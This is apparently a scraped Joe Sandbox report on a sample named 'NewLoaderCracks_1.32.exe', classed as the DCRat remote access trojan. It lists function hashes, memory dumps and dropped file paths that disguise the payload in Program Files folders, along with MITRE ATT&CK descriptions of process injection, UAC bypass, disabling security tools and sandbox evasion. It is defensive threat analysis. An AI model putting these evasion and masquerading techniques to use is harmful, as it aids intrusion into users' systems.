Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52642607dc2587e294d0febe5cd54e430d28ef7081e02f695782f3f643d22bec
Instruction ID: 200e441151dd5cf272d41821e17d7f753a945c2d0750e7eda3154c142ec9382b
Opcode Fuzzy Hash: 52642607dc2587e294d0febe5cd54e430d28ef7081e02f695782f3f643d22bec
Instruction Fuzzy Hash: 30018F30E5865A8FE751AF648CA96F97BE0EF5B300F0195B6D50DC6092EE38E5909701

Function 00007FFD346705D8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7181109600cb7fe800044a481f29d790cf4c0a485d52c3811ed700a7a57842bd
Instruction ID: ea9da75cca183932bd61499cf7fe0734bcfec17bd774f9542ff3b1ef23d1fcfc
Opcode Fuzzy Hash: 7181109600cb7fe800044a481f29d790cf4c0a485d52c3811ed700a7a57842bd
Instruction Fuzzy Hash: 09019270A0491D8FEB58EF64C8E56F97BA1FF5A305F50847ED40EC3291CA39A551D740

Function 00007FFD34672EB9 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a83fa53d5121d3a7cd6ac717333998aa874145a4d727863af066cfa5cda15639
Instruction ID: 41c59f650ebf003be45b2a974eace11d5bda32aefa5256e62afda90683567c58
Opcode Fuzzy Hash: a83fa53d5121d3a7cd6ac717333998aa874145a4d727863af066cfa5cda15639
Instruction Fuzzy Hash: 64018F30A5C6495FE752AB748C996E93BE0EF4A310F0589F3D409CB0A3EE2CA554D701

Function 00007FFD3467B0D9 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 862336746cc8dca91234bdf25de196b6d2965a038af839f45f9c09a30f4a0072
Instruction ID: fc464d86e81eab4e5cace219d14bb6c81e6271d5d09182affe124c3d68bf1d57
Opcode Fuzzy Hash: 862336746cc8dca91234bdf25de196b6d2965a038af839f45f9c09a30f4a0072
Instruction Fuzzy Hash: 77019E31A1D6594FE752EF248CA95E93FE0EF1A304F4684F6D508C70A2EA28A448D701

Function 00007FFD3467281D Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8fb3e74efe96d95db19aeb449a722a75ca24f1489e98c6e5a4588c3bf0d2627
Instruction ID: 683fb02ea3b831efe6c79933d7c262bb04260e9b93e87015f1aa71882e0be31d
Opcode Fuzzy Hash: d8fb3e74efe96d95db19aeb449a722a75ca24f1489e98c6e5a4588c3bf0d2627
Instruction Fuzzy Hash: BB01BC70A08A598FE751EF2488A85E97FE0EF1A300F4585BAD50DC70A2EA3DE084D700

Function 00007FFD34670610 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28e2bc43e70d87f5db307132475d7761449748f09e4c4be7fb5b090ece7439d8
Instruction ID: 86c29c7ba725b960f5adcb8888939c56d7b2239bb2b1fd11ac6d471d0b529753
Opcode Fuzzy Hash: 28e2bc43e70d87f5db307132475d7761449748f09e4c4be7fb5b090ece7439d8
Instruction Fuzzy Hash: 7B018130A1890D8BEB58EF64C8A86FA77E0FF1A305F50887ED40FC21D1DE3AA590D610

Function 00007FFD34670608 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9da596ea797203e08ad0f3182d02ba4aa086036acd01d7b2926010197bb1018
Instruction ID: 1a6b68213ec479a0957cc87f0180539ae349f51f3912b018106e1e9b6c15ddbf
Opcode Fuzzy Hash: c9da596ea797203e08ad0f3182d02ba4aa086036acd01d7b2926010197bb1018
Instruction Fuzzy Hash: 97018130A1460E9BEB58EF64C9A96F977A0FF1A305F50887ED40FC21D1DE39A150D640

Function 00007FFD346727AD Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b91b467fd8da85f55d4419213f247674bb871a33b92c7188f188c5fd925454a4
Instruction ID: 37871e648d22bcea50bf1eb4477dd58545d3814cf331d270d1596705bacbc67e
Opcode Fuzzy Hash: b91b467fd8da85f55d4419213f247674bb871a33b92c7188f188c5fd925454a4
Instruction Fuzzy Hash: 9201F23190D6898FE759AF2488A42F93FA0FF06301F4584FED50EC60D3EA2DA054D702

Function 00007FFD346705D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4153eceafbe5de7f5dc70f3b8b171b195952bbc12e5a431d5c9139ecdf8f9055
Instruction ID: a59bece97c285c06d15da1dd9eee9744e58b5afed84037b5edabea70f67ca9c8
Opcode Fuzzy Hash: 4153eceafbe5de7f5dc70f3b8b171b195952bbc12e5a431d5c9139ecdf8f9055
Instruction Fuzzy Hash: E7F0C830A0965E8FEB54DF64C8A52FA3B94EF56305F00847AE40DC2191CA3DA460D740

Function 00007FFD34671C4D Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c11fbd0e058c1cf314cd5f40f362e96d63868c719607840c24dd1b39bfbd3a
Instruction ID: 4801692a25b78ec07944129c2d9395db80dd6d8ec28c194a3a5492e2eabe549f
Opcode Fuzzy Hash: c7c11fbd0e058c1cf314cd5f40f362e96d63868c719607840c24dd1b39bfbd3a
Instruction Fuzzy Hash: AF01D170A0968D8FEB59DF6488A92F93FA1EF56300F4180BAD908C3292CA3E9460C740

Function 00007FFD34672739 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 811e204cef46ec1f8f955fb2c2f23daa818fe742af60bc99c4b14b9d6469d01c
Instruction ID: f39fcfce84693f31c31bcac003a428fe446f2fd8424224190cf0cce600f5ad87
Opcode Fuzzy Hash: 811e204cef46ec1f8f955fb2c2f23daa818fe742af60bc99c4b14b9d6469d01c
Instruction Fuzzy Hash: EAF0CD3090E7898FEB5A9F208C792E93FA0FF07201F4548BAD54AC61D2EA2D9414C741

Function 00007FFD3467234C Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2493767970.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd34670000_SwpTnCnrsAAKjgTAQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29f02e2d49d65d6890d70ced74a864c7bf1baf50128cb88b1d4e14c6dea6634a
Instruction ID: 095b701c7b8e001dfc05ad16b7757bd852bffae027b07619751075d45cfa2198
Opcode Fuzzy Hash: 29f02e2d49d65d6890d70ced74a864c7bf1baf50128cb88b1d4e14c6dea6634a
Instruction Fuzzy Hash: 86F0AC30A48529CEEB64EF10CCA5BE977B1FB55300F0446A9C50AD7196DF786A449E40

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NewLoaderCracks_1.32.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe

C:\Program Files (x86)\MSECache\OfficeKMS\win8\b85529a8a0a78e

C:\Program Files (x86)\Reference Assemblies\SwpTnCnrsAAKjgTAQ.exe

C:\Program Files (x86)\Reference Assemblies\b85529a8a0a78e

C:\Program Files (x86)\Windows Mail\8f05d91182d17c

C:\Program Files (x86)\Windows Mail\SurrogateRef.exe

C:\Program Files (x86)\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe

C:\Program Files (x86)\WindowsPowerShell\b85529a8a0a78e

C:\Program Files (x86)\jDownloader\config\9e8d7a4ca61bd9

C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe

C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe

C:\Program Files (x86)\jDownloader\config\b85529a8a0a78e

C:\Program Files\Windows NT\6ccacd8608530f

Windows Analysis Report
NewLoaderCracks_1.32.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre